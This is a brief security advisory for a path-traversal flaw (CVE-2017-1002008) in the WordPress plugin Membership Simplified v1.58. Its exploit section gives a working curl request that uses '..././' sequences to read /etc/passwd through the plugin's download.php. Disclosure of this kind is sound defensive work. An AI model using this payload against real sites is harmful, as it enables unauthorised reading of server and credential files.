Arbitrary file download vulnerability in Wordpress Plugin Membership Simplified v1.58
Path traversal
CVE ID(s):
CVE-2017-1002008
Summary: The file download code located membership-simplified-for-oap-members-only/download.php does not check whether a user is logged in and has download privileges.
Notified: 2017-03-13
Description:
Membership Simplified allows you to generate membership lessons with templated content to create a unified look and feel throughout your courses.
Exploit:
$ curl http://example.com/wordpress/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=..././..././..././..././..././..././..././..././etc/passwd